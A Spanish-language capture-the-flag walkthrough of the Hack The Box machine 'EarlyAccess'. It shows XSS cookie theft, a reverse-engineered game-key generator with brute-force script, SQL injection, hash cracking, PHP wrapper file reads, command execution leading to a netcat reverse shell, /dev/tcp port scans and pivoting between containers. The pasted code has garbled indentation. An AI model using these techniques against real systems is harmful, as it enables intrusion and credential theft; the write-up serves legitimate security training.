
EarlyAccess
Enumeración
Iniciamos con la máquina comprobando la conectividad realizando un ping a la IP 10.10.11.110.
ping -c 1 10.10.11.110
❯ PING 10.10.11.110 (10.10.11.110) 56(84) bytes of data.
64 bytes from 10.10.11.110: icmp_seq=1 ttl=63 time=34.3 ms
--- 10.10.11.110 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 34.289/34.289/34.289/0.000 ms
En el output del comando ejecutado en el parámetro ttl se ve que el valor está más cerca del 64 que del 128, gracias a este parámetro se puede saber el sistema operativo que se está utilizando, en este caso un Linux.
TTL | OS |
---|---|
64 | GNU/Linux |
128 | Windows |
Vamos a utilizar la herramienta Nmap para escanear los puertos que estén abiertos y servicios que están asociados a estos.
nmap -p- --open -sCV --min-rate 5000 -n -Pn 10.10.11.110 -oN Scan ❯
Parámetros | Descripción |
---|---|
-p- | Indica que analice todos los puertos del 1 al 65535 |
–open | Únicamente se escanearan los puertos que estén abiertos |
-sC | Lanza scripts que tiene Nmap por defecto para detectar el tipo de servicio que este corriendo en un puerto |
-sV | Lanza scripts que tiene Nmap para saber que versión están utilizando los servicios |
-n | Se evita realizar resolución DNS |
–min-rate | Indica la cantidad de paquetes que se envían por segundo, en este caso 5000 |
-Pn | Deshabilita la búsqueda del host, solamente manda los paquetes a los puertos. |
-oN | Exporta el output del comando ejecutado a un archivo en formato nmap |
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-12 09:05 CEST
Nmap scan report for 10.10.11.110
Host is up (0.038s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 e466288ed0bdf31df18d44e9141d9c64 (RSA)
| 256 b3a8f4497a0379d35a1394249b6ad1bd (ECDSA)
|_ 256 e9aaae594a3749a65a2a321d7926edbb (ED25519)
80/tcp open http Apache httpd 2.4.38
|_http-title: Did not follow redirect to https://earlyaccess.htb/
|_http-server-header: Apache/2.4.38 (Debian)
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
|_http-title: EarlyAccess
| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT
| Not valid before: 2021-08-18T14:46:57
|_Not valid after: 2022-08-18T14:46:57
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
Service Info: Host: 172.18.0.102; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.11 seconds
Los puertos que se han descubierto son:
Puertos | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 7.9p1 |
80 | HTTP | Apache httpd 2.4.38 |
443 | HTTPs | Apache httpd 2.4.38 |
Utilizamos la herramienta whatweb para ver los gestores de contenido que utiliza y vemos que nos redirige al dominio earlyaccess.htb.

Por lo tanto, para que nos redirija al dominio earlyaccess.htb, tenemos que hacerle saber al sistema que la IP 10.10.11.110 hace referencia a ese domino, y eso se puede conseguir indicándoselo en el archivo /etc/hosts.

Ahora si utilizamos de nuevo whatweb vemos el dominio, además podemos ver el correo admin@earlyaccess.htb.


Búsqueda de Vulnerabilidades
Si accedemos a la pagina, vemos que nos redirige a ://earlyaccess.htb.

Vemos un register y un login.

Nos creamos un usuario.

Accedemos.


Mirando las diferentes pestañas que tenemos vemos que hay una la cual es Register key.

Accediendo vemos que podemos pasar una clave de un juego.

Viendo por otras pestañas, vemos un comentario en la pestaña Forum donde se advierte que hay un error critico en el game-scoreboard, el cual indica que el nombre de usuario arroja errores extraños en el marcador de puntuación. Tengamos esto en cuenta para volver a comprobarlo más adelante.

Accediendo a la pestaña Messaging podemos enviar un mensaje al correo admin@earlyaccess.htb el cual seguramente sea el usuario admin de la pagina.

Al enviar el mensaje vemos nos pone que el mensaje será leído por el usuario admin.

Si le damos ha message to: admin nos aparece el mensaje junto con nuestro nombre de usuario.

Y al esperar un poco vemos que el mensaje fue enviado al usuario admin.

Si editamos nuestro perfil y en el campo de Name, que es lo que aparece en el mensaje, y tratamos de realizar un HTML injection.

Al enviar otro mensaje

Vemos que nos lo interpreta

Vamos a tratar de realizar un XSS.

Al enviar otro mensaje y acceder a este, vemos que nos salta una ventana emergente

Por tanto viendo esto podemos ver que la pagina es vulnerable a un XSS.
Sabiendo esto tratamos de ver nuestra cookie de sesión en la ventana emergente.

Y al enviar un nuevo mensaje vemos que nos aparece la ventana emergente con nuestra cookie de sesión.

Vemos que la cookie de sesión esta compuesta por XSRF-TOKEN y earlyaccess_session.

Teniendo esto en mente podemos tratar de robar la cookie de sesión del usuario admin.

Y para recibir la cookie creamos un servidor HTTP

Esperando un rato tras enviar el mensaje, nos aparece la cookie del usuario admin.

Cambiamos nuestra cookie por la nueva.

Y al recargar de nuevo la pagina nos fijamos que ahora somos el usuario admin.

Vemos 3 nuevas pestañas Admin, Dev y Game.

Al acceder a Game vemos que nos redirige al subdominio game.earlyaccess.htb por tanto lo añadimos al /etc/hosts.


Ya pudiendo acceder al subdominio vemos que nos pide acceder con una cuenta que haya canjeado alguna clave de juego.

Otra de la pestañas es Dev donde nos redirige al subdominio dev.earlyaccess.htb.


Añadimos el subdominio al /etc/hosts.

Al acceder vemos que nos pide la contraseña del usuario admin, la cual no tenemos conocimiento de ella.

Al acceder a Admin y mirar dentro de Download backup vemos que podemos descargar un backup offline del algoritmo de validación de las claves.


Vemos también la parte offline de la verificación de claves.

Nos descargamos el algoritmo de validación offline de las claves, y descomprimimos el .zip.

Mirando el algoritmos de validación.

Sabemos el patrón alfanumérico que debe tener la clave.

Vemos que la clave la separa por partes.


En la función g1_valid vemos que esta añadiendo la primera parte de la clave.

Para validar si esa parte es valida, con el bucle pilla los 3 primeros caracteres guardándolos en la variable v y en la variable i guarda la posición.

Luego con las variables ya creadas convierte el valor de v en decimal con el ord().

Para luego utilizar la operatoria left shift << para desplazar los bits de un número hacia la izquierda por un número especifico de posiciones, en este caso el numero de posiciones es 0+1=1.

Para el caso de la letra A el resultado es 130.

Ej:
En este caso tenemos el numero 5 el cual queremos desplazar los bits hacia la izquierda 1 posición, y como resultado da 10.

la representación del numero 5 en binario es 0101.

Pero como le estamos diciendo que nos desplace a la izquierda los bits 1 posición, el valor final queda en 10.

Es por eso que al realizar la operatoria el resultado es 130.


Luego de esa operatoria realiza un % 256, que seria el resto de la división entre el resultado de la operatoria del ord() y el numero 256.


Para luego al valor resultante, realizar un XOR ^ al valor en decimal de la variable v.


Luego de esas operatorias comprueba si los valores que se han guardado en la variable r son diferentes a 221, 81, 145 en ese orden, y en el caso de que lo sean devolverá false.

Por tanto lo que tenemos que hacer es tratar de saber cuales son los valores que necesitamos para que el resultado sea 221, 81, 145 por tanto vamos a crear un script en Python el cual nos indique cuales son los 3 primeros valores que se necesitan para que los 3 resultados sean 221,81, 145.
#!/usr/bin/python3
import string
import sys
= int(sys.argv[1])
i
for v in string.ascii_uppercase+string.digits:
= (ord(v)<<i+1)%256^ord(v)
value print(f"{v}: {value}")

Vemos que los 3 primeros caracteres de la key deben ser KEY.

Luego de esa validación comprueba si los 2 últimos valores son números, por tanto, podemos poner el número que nosotros queramos, pero que no sean repetidos, ya que está el set() de por medio.


Con la primera función del primer elemento de la clave explicado pasamos a la función g2_valid.

Vemos que en la variable p1 esta pillando el g2 y realizando una secuencia de 2 saltos empezando por el primer valor de g2.

Y luego en la variable p2 realiza la misma secuencia de 2 saltos pero empezando por la segunda posición.

Para finalmente convertir los valores en decimal y ver si son iguales.

Por tanto, lo que vamos a hacer es crear un script el cual nos diga cuáles son los valores necesarios para que el resultado sea True.
#!/usr/bin/python3
import string
import random
= string.ascii_uppercase + string.digits
characters
= []
rep
while True:
= random.sample(characters, 5)
r
= ''.join(r)
key
if key not in rep:
if sum(bytearray(key[::2].encode())) == sum(bytearray(key[1::2].encode())):
print(key)
rep.append(key)
Al ejecutar el script nos muestra todos los valores los cuales sus resultados son iguales.

Con esto ya explicado pasamos a la función g3_valid.

Lo primero que hace es validar si los dos primeros caracteres de la tercera parte de la clave son iguales al valor de la variable magic_value.
Y vemos que el valor de la variable magic_value es XP.

Entonces si o si la tercera parte de la clave tiene que empezar por XP.
Luego de esa comparación, de nuevo realiza otra donde compara si la sumatoria de todos los caracteres en decimal de la tercera parte de la clave es igual al valor de magic_num, es decir 346.


Pero como el valor de magic_num irá cambiando con el tiempo tendremos que crear un script donde guarde todas las posibles combinatorias únicas que al sumarlas den el valor del magic_num.
Ya que habrán ocasiones en las que el valor se repita.

#!/usr/bin/python3
import string
from itertools import product
= product(string.ascii_uppercase, repeat=2)
r
= [ "".join(x) for x in r ]
r2
= {}
com
for x in r2:
for i in range(0,10):
= f"XP{x}{i}"
key
= sum(bytearray(key.encode()))
value
= key
com[value]
print(com)

Con esto ya explicado pasamos a la función g4_valid.

Vemos que esta recorriendo la primera parte de la clave y guardando el resultado en la variable g y recorriendo la tercera parte de la clave, guardando el resultado en la variable i.


Luego con cada iteración que va haciendo realiza un XOR de los valores en decimal.

Para luego comparar si el resultado es igual al que se espera.

Pero lo curioso aquí es que XOR es reversible
Ej:
En este caso queremos pillar el primer carácter, pero solo sabemos que el resultado es 12, pero aplicando un XOR de 12 y el carácter que sabemos, en este caso K, nos devuelve en decimal el valor restante.

Sabiendo esto, podemos saber los demás valores.

Con esto ya explicado nos vamos a la función cs_valid la cual valida el checksum.

Vemos que esta pillando la ultima parte de la clave.
Para luego compararlo con el resultado de la función calc_cs.

En el cual esta consiguiendo todas las partes de la clave menos la ultima, para luego realizar una suma de todas las partes.

Con todo esto ya explicado, ya nos podemos hacer una idea de como será el patrón de la clave.

Ya con todo esto explicado procedemos a crear el generador de claves.
#!/usr/bin/python3
import string
from itertools import product
import time
import requests
import re
from pwn import *
requests.packages.urllib3.disable_warnings()
# variables globles
#url_key = "https://earlyaccess.htb/key"
= requests.session()
s = "pr1ngl3s@pr1ngl3s.com"
email = "pr1ngl3s123"
password = "https://earlyaccess.htb/key"
url_key
def Login():
= "https://earlyaccess.htb/login"
url_login
= s.get(url_login, verify=False)
r
= re.findall('name="_token" value="(.*?)"',r.text)[0]
token
= {
data_post '_token': token,
'email': email,
'password': password
}
= s.post(url_login, data=data_post, verify=False)
r
def calc_g3():
= product(string.ascii_uppercase, repeat=2)
r
= [ "".join(x) for x in r ]
r2
= {}
com
for x in r2:
for i in range(0,10):
= f"XP{x}{i}"
key
= sum(bytearray(key.encode()))
value
= key
com[value]
return com.values()
def checksum_calc(key):
= key.split('-')[:]
gs return sum([sum(bytearray(g.encode())) for g in gs])
def Key_Gen():
= calc_g3()
values
= []
total_keys
for x in values:
= f"KEY98-KY5Z3-{x}-GAML8-"
key = checksum_calc(key)
cs = key + str(cs)
key
total_keys.append(key)
try_keys(total_keys)
def try_keys(keys):
= log.progress("Ataque de fuerza bruta")
p1
"Iniciando ataque de fuerza bruta...")
p1.status(
= "https://earlyaccess.htb/key/add"
key_verify_url
= 1
cont
= s.get(url_key, verify=False)
r
= re.findall('name="_token" value="(.*?)"',r.text)[0]
token
for key in keys:
"Probando con la %s de [%d/60]" % (key,cont))
p1.status(
= {
data_post '_token': token,
'key': key
}
= s.post(key_verify_url, verify=False, data=data_post)
r
if "Game-key is invalid!" not in r.text:
"La key %s ha sido registrada con exito" % key)
p1.status(break
+= 1
cont
if __name__ == "__main__":
Login()
Key_Gen()
Lo primero que hace el script es acceder como el usuario existente para guardar la sesión y luego en la función calc_g3 calcula la tercera parte de la clave creando un diccionario para añadir todas las posibilidades.
def calc_g3():
= product(string.ascii_uppercase, repeat=2)
r
= [ "".join(x) for x in r ]
r2
= {}
com
for x in r2:
for i in range(0,10):
= f"XP{x}{i}"
key
= sum(bytearray(key.encode()))
value
= key
com[value]
return com.values()
Luego de eso realiza la suma para calcular el checksum para así guardar todas las variantes en la lista total_keys.
def checksum_calc(key):
= key.split('-')[:]
gs return sum([sum(bytearray(g.encode())) for g in gs])
for x in values:
= f"KEY98-KY5Z3-{x}-GAML8-"
key = checksum_calc(key)
cs = key + str(cs)
key
total_keys.append(key)
try_keys(total_keys)
Para finalmente enviar todas las variantes a la parte del registro de claves, hasta enviar la verdadera.
for key in keys:
"Probando con la %s de [%d/60]" % (key,cont))
p1.status(
= {
data_post '_token': token,
'key': key
}
= s.post(key_verify_url, verify=False, data=data_post)
r
if "Game-key is invalid!" not in r.text:
"La key %s ha sido registrada con exito" % key)
p1.status(break
+= 1 cont
Al ejecutar el script podemos ver la verdadera clave

Teniendo ya la clave canjeada, vemos que ahora nos aparece una pestaña que nos redirige al subdominio game.earlyaccess.htb



Si jugamos al juego Snake, en la pestaña Scoreboard vemos la puntuación.

Recordando que había un usuario, en el cual el nombre arroja errores extraños, probamos a poner una comilla simple ’ a nuestro nombre de usuario.

Al volver al marcado vemos un error de SQL, sabiendo esto ya sabemos que hay un SQL injection.

Vemos que lo esta encapsulando con un paréntesis ).

Por tanto lo añadimos al nombre de usuario.

Ahora no nos sale nada.

Tratando de averiguar el nombre de columnas totales de la consulta, nos sale un error al introducir un ordenamiento por la columna numero 4.


Con esto, ya sabemos que el numero de columnas que hay son 3.


Vamos a ver, todas las bases de datos que existentes.


Tenemos 2 information_schema y db, por razones lógicas vamos a ver las tablas de la base de datos db.


Vemos que la base de datos db tiene 3 tablas: failed_logins, scoreboard, y users.
Sabiendo esto miraremos las columnas de la tabla users, para tratar de conseguir credenciales que nos sean útiles.


Ya sabiendo las columnas vamos a averiguar los datos de name, email y password.


Vemos todas las contraseña de los usuarios de la pagina, pero todas estan encriptadas, por lo que vamos a utilizar la herramienta john para poder descifrar los hashes.

john -w=/usr/share/wordlists/rockyou.txt hashes ❯
Parámetros | Descripción |
---|---|
-w | Indica el diccionario que se utilizara |
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
Use the "--format=ripemd-160" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
Use the "--format=has-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
gameover (admin)
Warning: Only 5 candidates left, minimum 8 needed for performance.
1g 0:00:00:01 DONE (2024-05-13 10:20) 0.7936g/s 11383Kp/s 11383Kc/s 34155KC/s xCvBnM,..*7¡Vamos!
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed
Vemos que la contraseña del usuario admin es gameover.
Si accedemos de nuevo al dominio dev.earlyaccess.htb donde pedía la contraseña del usuario admin y ponemos la contraseña descubierta, vemos que es la correcta.


Al acceder a la pestaña Hashing-Tools nos aparece un generador de hashes.


Si tramitamos la petición con BurpSuite vemos lo siguiente.


Al interceptar la petición vemos que se tramita a la ruta /actions/.
Utilizamos la herramienta wfuzz para descubrir los archivos que contenga el directorio /actions.
wfuzz --hc=404 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt "http://dev.earlyaccess.htb/actions/FUZZ.php" ❯
Parámetros | Descripción |
---|---|
–hc=404 | Oculto los resultas cuyo código de estado sea 404. |
-t 200 | Indica que se utilicen 200 subprocesos simultáneamente para aumentar la velocidad de descubrimiento. |
-w | Indica el diccionario que se utilizara |
FUZZ | Indica en que parte de la URL se realizara el descubrimiento. |
Vemos un archivo con el nombre file.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://dev.earlyaccess.htb/actions/FUZZ.php
Total requests: 6453
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002206: 500 0 L 3 W 35 Ch "file"
000002577: 302 0 L 0 W 0 Ch "hash"
000003206: 302 0 L 0 W 0 Ch "login"
000003217: 302 0 L 0 W 0 Ch "logout"
Total time: 0
Processed Requests: 6453
Filtered Requests: 6449
Requests/sec.: 0
Al acceder vemos un texto donde pone que especifiquemos un archivo.

Si probamos posibles parámetros vemos el filepath.
wfuzz --hh=35 --hc=404 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt "http://dev.earlyaccess.htb/actions/file.php?FUZZ=/etc/passwd" ❯
Parámetros | Descripción |
---|---|
–hh=35 | Oculta los resultas que tengan 35 caracteres. |
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://dev.earlyaccess.htb/actions/file.php?FUZZ=/etc/hosts
Total requests: 6453
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002241: 500 0 L 10 W 89 Ch "filepath"
Total time: 0
Processed Requests: 6453
Filtered Requests: 6452
Requests/sec.: 0
Pero al tratar de acceder a algún archivo del sistema vemos que por motivos de seguridad no es posible leerlos.

Intentamos leer el contenido del archivo hash.php, pero al tratarse de una extensión .php no nos la va a interpretar.

Una forma de poder ver el contenido es mediante un wrapper de codificación en base64.


Teniendo el contenido del archivo en base64, realizamos la decodificación, y lo guardamos en un archivo.

Si accedemos al archivo, podemos ver el contenido de este.

Mirando el código vemos que permite hashes personalizados si la variable debug esta establecida.

Pero aparte de hashes se podría probar con otras funciones, en este caso vamos a utilizar la función system y donde está la variable de password a hashear, lo cambiamos y ponemos un comando a nivel de sistema para que nos lo ejecute.

❯ php --interactive
Parámetros | Descripción |
---|---|
–interactive | Permite escribir y ejecutar código PHP directamente en la consola de comandos. |
Interactive mode enabled
$password = "test";
php > $hash = md5($password);
php > echo $hash;
php >
098f6bcd4621d373cade4e832627b4f6$password = "id";
php > $hash = system($password);
php > 0(root) gid=0(root) groups=0(root)
uid= php >
Si añadimos la variable debug y cambiamos los valores de password y hash_function a los deseados, vemos que nos lo ejecuta con éxito.


Teniendo ya capacidad de ejecutar comandos en el sistema realizamos una ReverseShell.
Nos ponemos en escucha con netcat.
nc -lvnp 123
❯ listening on [any] 123 ...
Parámetros | Descripción |
---|---|
-l | Indica que se pone en modo escucha en lugar de iniciar una conexión saliente |
-v | Se utiliza para mostrar información adicional o detalles sobre las operaciones que está realizando |
-n | Se evita realizar resolución DNS |
-p | Indica el puerto por el cual se pondra en escucha |
Creamos la petición que enviara la shell inversera.

Y al tramitar la petición, recibimos la ReverseShell.
nc -lvnp 123
❯ listening on [any] 123 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.110] 44624
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$
Post-explotación
Al ver la IP de la maquina vemos que es otra, eso quiere decir que estamos en un contenedor.
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ hostname -I
hostname -I
172.18.0.102
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$
Vemos que hay un usuario con el nombre www-adm.
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ grep "sh$" /etc/passwd
<earlyaccess.htb/dev/actions$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-adm:x:1000:1000::/home/www-adm:/bin/bash
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$
Tratamos de ver si hay reutilización de credenciales con la contraseña gameover, y vemos que si funciona.
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ su www-adm
Password:
www-adm@webserver:/var/www/earlyaccess.htb/dev/actions$ whoami
www-adm
www-adm@webserver:/var/www/earlyaccess.htb/dev/actions$
Al acceder al directorio personal de trabajo vemos un archivo el cual contiene unas credenciales.
www-adm@webserver:~$ ls -la
total 24
drwxr-xr-x 2 www-adm www-adm 4096 May 13 07:52 .
drwxr-xr-x 1 root root 4096 May 13 07:52 ..
lrwxrwxrwx 1 root root 9 May 13 07:52 .bash_history -> /dev/null
-rw-r--r-- 1 www-adm www-adm 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 www-adm www-adm 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 www-adm www-adm 807 Apr 18 2019 .profile
-r-------- 1 www-adm www-adm 33 May 13 07:52 .wgetrc
www-adm@webserver:~$ cat .wgetrc
user=api
password=s3CuR3_API_PW!
www-adm@webserver:~$
Vemos el nombre API, intentemos acceder a la API. Por lo general, los contenedores acoplables pueden comunicarse entre sí, si están en la misma red. Intentemos encontrar la IP de la API de Docker, probablemente el nombre de host sea api.
www-adm@webserver:~$ nc api 1234
api [172.18.0.101] 1234 (?) : Connection refused
www-adm@webserver:~$
Obtuvimos con éxito la IP 172.18.0.101 de la API usando netcat.
Tratamos de ver que puertos tiene abiertos.
www-adm@webserver:~$ for port in $(seq 1 65535); do echo '' > /dev/tcp/172.18.0.101/$port && echo "PORT $port - OPEN"; done 2>/dev/null
PORT 5000 - OPEN
www-adm@webserver:~$
Vemos que tiene el puerto 5000 abierto.
Intentemos acceder a la API utilizando wget.
www-adm@webserver:~$ wget http://172.18.0.101:5000
--2024-05-13 10:28:55-- http://172.18.0.101:5000/
Connecting to 172.18.0.101:5000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 254 [application/json]
Saving to: 'index.html'
index.html 100%[=================================================================================================>] 254 --.-KB/s in 0s
2024-05-13 10:28:55 (40.6 MB/s) - 'index.html' saved [254/254]
www-adm@webserver:~$ cat index.html
"message":"Welcome to the game-key verification API! You can verify your keys via: /verify/<game-key>. If you are using manual verification, you have to synchronize the magic_num here. Admin users can verify the database using /check_db.","status":200}
{www-adm@webserver:~$
Al ver el archivo index.html vemos la ruta check_db.
Si vemos el contenido de check_db, nos fijamos que tiene contenido JSON.
www-adm@webserver:~$ wget http://172.18.0.101:5000/check_db
--2024-05-13 10:31:30-- http://172.18.0.101:5000/check_db
Connecting to 172.18.0.101:5000... connected.
HTTP request sent, awaiting response... 401 UNAUTHORIZED
Authentication selected: Basic
Connecting to 172.18.0.101:5000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8709 (8.5K) [application/json]
Saving to: 'check_db'
check_db 100%[=================================================================================================>] 8.50K --.-KB/s in 0s
2024-05-13 10:31:30 (172 MB/s) - 'check_db' saved [8709/8709]
www-adm@webserver:~$ cat check_db
"message":{"AppArmorProfile":"docker-default","Args":["--character-set-server=utf8mb4","--collation-server=utf8mb4_bin","--skip-character-set-client-handshake","--max_allowed_packet=50MB","--general_log=0","--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"],"Config":{"AttachStderr":false,"AttachStdin" {
Vamos a utilizar el comando jq para poder visualizar el contenido JSON de forma mas cómoda.

Al ver el contenido del archivo vemos unas credenciales.


Si tratamos de conectarnos vía SSH con esas credenciales, nos funciona.
ssh drew@10.10.11.110
❯ drew@10.10.11.110's password:
Linux earlyaccess 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sun Sep 5 15:56:50 2021 from 10.10.14.6
drew@earlyaccess:~$
Vemos las primera flag.
drew@earlyaccess:~$ ls
user.txt
drew@earlyaccess:~$ cat user.txt
e71*****************************
drew@earlyaccess:~$
Si miramos la clave publica vemos que esta generada para el usuario game-tester con el nombre de maquina game-server.
drew@earlyaccess:~$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMYU1DjEX8HWBPFBxoN+JXFBJUZBPr+IFO5yI25HMkFSlQZLaJajtEHeoBsD1ldSi7Q0qHYvVhYh7euYhr85vqa3cwGqJqJH54Dr5WkNDbqrB5AfgOWkUIomV4QkfZSmKSmI2UolEjVf1pIYYsJY+glqzJLF4hQ8x4d2/vJj3CmWDJeA0AGH0+3sjpmpYyoY+a2sW0JAPCDvovO1aT7FOnYKj3Qyl7NDGwJkOoqzZ66EmU3J/1F0e5XNg74wK8dvpZOJMzHola1CS8NqRhUJ7RO2EEZ0ITzmuLmY9s2N4ZgQPlwUvhV5Aj9hqckV8p7IstrpdGsSbZEv4CR2brsEhwsspAJHH+350e3dCYMR4qDyitsLefk2ezaBRAxrXmZaeNeBCZrZmqQ2+Knak6JBhLge9meo2L2mE5IoPcjgH6JBbYOMD/D3pC+MAfxtNX2HhB6MR4Rdo7UoFUTbp6KIpVqtzEB+dV7WeqMwUrrZjs72qoGvO82OvGqJON5F/OhoHDao+zMJWxNhE4Zp4DBii39qhm2wC6xPvCZT0ZSmdCe3pB82Jbq8yccQD0XGtLgUFv1coaQkl/CU5oBymR99AXB/QnqP8aML7ufjPbzzIEGRfJVE2A3k4CQs4Zo+GAEq7WNy1vOJ5rZBucCUXuc2myZjHXDw77nvettGYr5lcS8w== game-tester@game-server
drew@earlyaccess:~$
Nuestro nombre de maquina es earlyaccess.
drew@earlyaccess:~$ hostname
earlyaccess
drew@earlyaccess:~$
Vemos varias interfaces de red
drew@earlyaccess:~$ hostname -I
10.10.11.110 172.17.0.1 172.18.0.1 172.19.0.1
drew@earlyaccess:~$
Por lo que el nombre de game-server seguramente sea de alguno de esos contenedores desplegados.
Vamos a tratar de enumerar todos los hosts de las 3 interfaces de red.
drew@earlyaccess:~$ for host in $(seq 2 254); do (ping -c 1 172.17.0.$host &>/dev/null && echo "172.17.0.$host" &); done
drew@earlyaccess:~$ for host in $(seq 2 254); do (ping -c 1 172.18.0.$host &>/dev/null && echo "172.18.0.$host" &); done
172.18.0.2
172.18.0.100
172.18.0.102
172.18.0.101
drew@earlyaccess:~$ for host in $(seq 2 254); do (ping -c 1 172.19.0.$host &>/dev/null && echo "172.19.0.$host" &); done
172.19.0.3
172.19.0.4
drew@earlyaccess:~$
Con los hosts ya descubiertos vamos a tratar de ver cuales tiene el puerto 22 abierto.
drew@earlyaccess:~$ hosts=(172.18.0.2 172.18.0.100 172.18.0.101 172.18.0.102 172.19.0.3 172.19.0.4); for host in ${hosts[@]}; do (timeout 1 bash -c "echo '' > /dev/tcp/$host/22" &>/dev/null && echo "Host $host - Port 22 - OPEN"); done
Host 172.19.0.3 - Port 22 - OPEN
drew@earlyaccess:~$
Vemos que la IP 172.19.0.3 tiene el puerto 22 abierto.
Si tratamos de acceder vía SSH a esa IP con la clave publica, nos funciona.
drew@earlyaccess:~$ ssh game-tester@172.19.0.3
The authenticity of host '172.19.0.3 (172.19.0.3)' can't be established.
ECDSA key fingerprint is SHA256:QGqB7McazHmqza1M22cUpTR7oLwbktNXZZOJFO5ygQA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.3' (ECDSA) to the list of known hosts.
Linux game-server 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
game-tester@game-server:~$
Buscando por la maquina vemos una capabilitie con el comando getcap, la cual nos permite ejecutar el binario como el propietario.
drew@earlyaccess:~$ getcap -r / 2>/dev/null
Parámetros | Descripción |
---|---|
-r | Habilita la búsqueda recursiva, en este caso desde la raíz. |
/usr/sbin/arp =ep
/usr/bin/ping = cap_net_raw+ep
drew@earlyaccess:~$
En este caso nos permite ver el contenido de cualquier archivo.

Pero no podemos ejecutarlo ya que los únicos que pueden ejecutar el binario son el propietario root y los miembros del grupo adm.
drew@earlyaccess:~$ arp -v -f "/etc/shadow"
-bash: /usr/sbin/arp: Permission denied
drew@earlyaccess:~$ ls -l /usr/sbin/arp
-rwxr-x--- 1 root adm 67512 Sep 24 2018 /usr/sbin/arp
drew@earlyaccess:~$
Viendo los miembros del grupo adm vemos que el usuario game-adm es miembro.
drew@earlyaccess:~$ getent group adm
adm:x:4:game-adm
drew@earlyaccess:~$
Por tanto, tenemos que ver una forma de poder llegar a pivotar como el usuario game-adm para poder ejecutar la capabilitie.
Vamos a utilizar la herramienta linpeas para ir enumerando vías potenciales para escalar privilegios.


Ejecutamos el linpeas.

Vemos un correo donde pone el nombre del usuario drew en /var/mail/.
drew@earlyaccess:~$ cat /var/mail/drew
To: <drew@earlyaccess.htb>
Subject: Game-server crash fixes
From: game-adm <game-adm@earlyaccess.htb>
Date: Thu May 27 8:10:34 2021
Hi Drew!
Thanks again for taking the time to test this very early version of our newest project!
We have received your feedback and implemented a healthcheck that will automatically restart the game-server if it has crashed (sorry for the current instability of the game! We are working on it...)
If the game hangs now, the server will restart and be available again after about a minute.
If you find any other problems, please don't hesitate to report them!
Thank you for your efforts!
Game-adm (and the entire EarlyAccess Studios team).
drew@earlyaccess:~$
Al leer el mensaje nos damos cuenta de que han implementado como medida de seguridad el reiniciar automáticamente el servicio game-server cuando experimente un error.
